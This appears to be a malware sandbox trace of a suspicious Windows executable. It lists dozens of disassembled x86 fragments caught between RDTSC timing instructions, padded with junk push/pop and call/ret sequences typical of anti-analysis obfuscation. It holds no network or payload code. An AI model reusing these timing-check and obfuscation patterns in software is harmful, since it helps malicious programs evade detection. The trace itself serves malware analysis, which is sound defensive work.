Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 70FD1E second address: 70FD6D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC4DCD0E308h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007FC4DCD0E308h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 cld 0x0000002a push 00000000h 0x0000002c adc di, 9128h 0x00000031 push 00000000h 0x00000033 cld 0x00000034 mov bx, BD6Eh 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b ja 00007FC4DCD0E30Ch 0x00000041 js 00007FC4DCD0E306h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 710C1D second address: 710CAC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jne 00007FC4DCC8C6E4h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FC4DCC8C6C8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 adc ebx, 4F5D1F4Ah 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007FC4DCC8C6C8h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 0000001Ch 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b mov bx, 3CD7h 0x0000004f push 00000000h 0x00000051 mov di, bx 0x00000054 push eax 0x00000055 jbe 00007FC4DCC8C6D0h 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 713C02 second address: 713C1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC4DCD0E314h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 713C1F second address: 713C92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a call 00007FC4DCC8C6D3h 0x0000000f mov ebx, 40BF8BBAh 0x00000014 pop edi 0x00000015 jg 00007FC4DCC8C6CCh 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007FC4DCC8C6C8h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 00000015h 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 push 00000000h 0x00000039 movsx ebx, di 0x0000003c xchg eax, esi 0x0000003d pushad 0x0000003e pushad 0x0000003f jng 00007FC4DCC8C6C6h 0x00000045 push edi 0x00000046 pop edi 0x00000047 popad 0x00000048 jg 00007FC4DCC8C6C8h 0x0000004e popad 0x0000004f push eax 0x00000050 pushad 0x00000051 pushad 0x00000052 jng 00007FC4DCC8C6C6h 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 713C92 second address: 713C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007FC4DCD0E306h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 712D3F second address: 712DCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c clc 0x0000000d push dword ptr fs:[00000000h] 0x00000014 movsx edi, dx 0x00000017 mov dword ptr fs:[00000000h], esp 0x0000001e push 00000000h 0x00000020 push edx 0x00000021 call 00007FC4DCC8C6C8h 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], edx 0x0000002b add dword ptr [esp+04h], 0000001Bh 0x00000033 inc edx 0x00000034 push edx 0x00000035 ret 0x00000036 pop edx 0x00000037 ret 0x00000038 mov dword ptr [ebp+124753DDh], esi 0x0000003e mov eax, dword ptr [ebp+122D01C9h] 0x00000044 mov edi, dword ptr [ebp+122D2973h] 0x0000004a push FFFFFFFFh 0x0000004c cld 0x0000004d nop 0x0000004e pushad 0x0000004f jmp 00007FC4DCC8C6D9h 0x00000054 jmp 00007FC4DCC8C6CFh 0x00000059 popad 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d push ebx 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 712DCD second address: 712DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 714C4A second address: 714C6B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC4DCC8C6D6h 0x00000008 jmp 00007FC4DCC8C6D0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 715B99 second address: 715BB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC4DCD0E313h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 715BB0 second address: 715C19 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC4DCC8C6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FC4DCC8C6C8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 cmc 0x00000028 push 00000000h 0x0000002a mov edi, dword ptr [ebp+122D37BDh] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push esi 0x00000035 call 00007FC4DCC8C6C8h 0x0000003a pop esi 0x0000003b mov dword ptr [esp+04h], esi 0x0000003f add dword ptr [esp+04h], 00000017h 0x00000047 inc esi 0x00000048 push esi 0x00000049 ret 0x0000004a pop esi 0x0000004b ret 0x0000004c sub ebx, 5F4A00A9h 0x00000052 xchg eax, esi 0x00000053 pushad 0x00000054 js 00007FC4DCC8C6C8h 0x0000005a pushad 0x0000005b popad 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 715C19 second address: 715C1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 715C1D second address: 715C2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 715E8B second address: 715E91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 71F9DF second address: 71F9E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 71F9E5 second address: 71F9EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 71FCA8 second address: 71FCB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC4DCC8C6C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 71FCB2 second address: 71FCBC instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC4DCD0E306h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72562D second address: 72566F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jnl 00007FC4DCC8C6E0h 0x00000011 push esi 0x00000012 jmp 00007FC4DCC8C6D8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FC4DCC8C6CBh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72566F second address: 725674 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72585F second address: 725864 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 725965 second address: 72596A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72596A second address: 725970 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 725970 second address: 725974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 725974 second address: 54E8E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c cld 0x0000000d push dword ptr [ebp+122D1065h] 0x00000013 pushad 0x00000014 movsx eax, bx 0x00000017 mov si, 9D5Bh 0x0000001b popad 0x0000001c call dword ptr [ebp+122D187Bh] 0x00000022 pushad 0x00000023 sub dword ptr [ebp+122D1AF2h], ebx 0x00000029 xor eax, eax 0x0000002b stc 0x0000002c mov edx, dword ptr [esp+28h] 0x00000030 clc 0x00000031 mov dword ptr [ebp+122D361Dh], eax 0x00000037 sub dword ptr [ebp+122D1965h], ecx 0x0000003d jmp 00007FC4DCC8C6D2h 0x00000042 mov esi, 0000003Ch 0x00000047 sub dword ptr [ebp+122D30B6h], edi 0x0000004d add esi, dword ptr [esp+24h] 0x00000051 pushad 0x00000052 and edx, 09635D40h 0x00000058 popad 0x00000059 lodsw 0x0000005b sub dword ptr [ebp+122D30B6h], eax 0x00000061 add eax, dword ptr [esp+24h] 0x00000065 sub dword ptr [ebp+122D1AF2h], eax 0x0000006b mov ebx, dword ptr [esp+24h] 0x0000006f xor dword ptr [ebp+122D23B4h], esi 0x00000075 nop 0x00000076 jnc 00007FC4DCC8C6E5h 0x0000007c push eax 0x0000007d push eax 0x0000007e push edx 0x0000007f jne 00007FC4DCC8C6CCh 0x00000085 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 729E46 second address: 729E4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 729E4C second address: 729E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 729E52 second address: 729E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FC4DCD0E306h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 729E5F second address: 729E63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 729E63 second address: 729E73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FC4DCD0E30Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 729FAA second address: 729FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC4DCC8C6D8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 729FC8 second address: 729FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 729FCE second address: 729FE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FC4DCC8C6CCh 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72A6F2 second address: 72A6F8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72A6F8 second address: 72A712 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D5h 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72A712 second address: 72A730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC4DCD0E30Dh 0x00000010 push edi 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72A730 second address: 72A736 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72A736 second address: 72A73A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6BD385 second address: 6BD39D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6CFh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72DFDA second address: 72DFE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7040D1 second address: 7040E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a je 00007FC4DCC8C6D0h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 704187 second address: 70418D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 70418D second address: 7041CC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FC4DCC8C6D7h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push edi 0x0000000e jmp 00007FC4DCC8C6CCh 0x00000013 pop edi 0x00000014 pushad 0x00000015 jmp 00007FC4DCC8C6CFh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7044FF second address: 70450C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 70450C second address: 54E8E3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC4DCC8C6C8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d or dword ptr [ebp+122D1B2Fh], eax 0x00000013 push dword ptr [ebp+122D1065h] 0x00000019 jmp 00007FC4DCC8C6D9h 0x0000001e call dword ptr [ebp+122D187Bh] 0x00000024 pushad 0x00000025 sub dword ptr [ebp+122D1AF2h], ebx 0x0000002b xor eax, eax 0x0000002d stc 0x0000002e mov edx, dword ptr [esp+28h] 0x00000032 clc 0x00000033 mov dword ptr [ebp+122D361Dh], eax 0x00000039 sub dword ptr [ebp+122D1965h], ecx 0x0000003f jmp 00007FC4DCC8C6D2h 0x00000044 mov esi, 0000003Ch 0x00000049 sub dword ptr [ebp+122D30B6h], edi 0x0000004f add esi, dword ptr [esp+24h] 0x00000053 pushad 0x00000054 and edx, 09635D40h 0x0000005a popad 0x0000005b lodsw 0x0000005d sub dword ptr [ebp+122D30B6h], eax 0x00000063 add eax, dword ptr [esp+24h] 0x00000067 sub dword ptr [ebp+122D1AF2h], eax 0x0000006d mov ebx, dword ptr [esp+24h] 0x00000071 xor dword ptr [ebp+122D23B4h], esi 0x00000077 nop 0x00000078 jnc 00007FC4DCC8C6E5h 0x0000007e push eax 0x0000007f push eax 0x00000080 push edx 0x00000081 jne 00007FC4DCC8C6CCh 0x00000087 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 704800 second address: 704806 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 704806 second address: 70480A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 70489C second address: 7048E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 popad 0x0000000a mov dword ptr [esp], esi 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FC4DCD0E308h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 sub edi, 2954B67Ch 0x0000002d nop 0x0000002e pushad 0x0000002f pushad 0x00000030 jp 00007FC4DCD0E306h 0x00000036 jmp 00007FC4DCD0E30Bh 0x0000003b popad 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7048E5 second address: 7048E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7049FE second address: 704A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 704A0D second address: 704A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 704AED second address: 704AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 704AF9 second address: 704AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 704BF6 second address: 704BFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 704BFC second address: 704C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 704C0B second address: 704CA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E314h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007FC4DCD0E308h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 mov ecx, edx 0x00000026 sub dword ptr [ebp+122DB542h], edx 0x0000002c push 00000004h 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007FC4DCD0E308h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 0000001Dh 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 jmp 00007FC4DCD0E312h 0x0000004d mov dword ptr [ebp+122D2F01h], edx 0x00000053 push eax 0x00000054 jl 00007FC4DCD0E32Ah 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007FC4DCD0E318h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7051CF second address: 7051D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72E2F2 second address: 72E2F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72E408 second address: 72E414 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnl 00007FC4DCC8C6C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6BD3BA second address: 6BD3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72E59A second address: 72E59E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72E59E second address: 72E5A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72E5A2 second address: 72E5B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FC4DCC8C6C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72E96A second address: 72E98D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E30Ah 0x00000007 jmp 00007FC4DCD0E30Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72E98D second address: 72E99D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FC4DCC8C6C6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72E99D second address: 72E9A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72E9A1 second address: 72E9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FC4DCC8C6CCh 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72E9BC second address: 72E9CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FC4DCD0E308h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72E9CA second address: 72E9E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC4DCC8C6D5h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
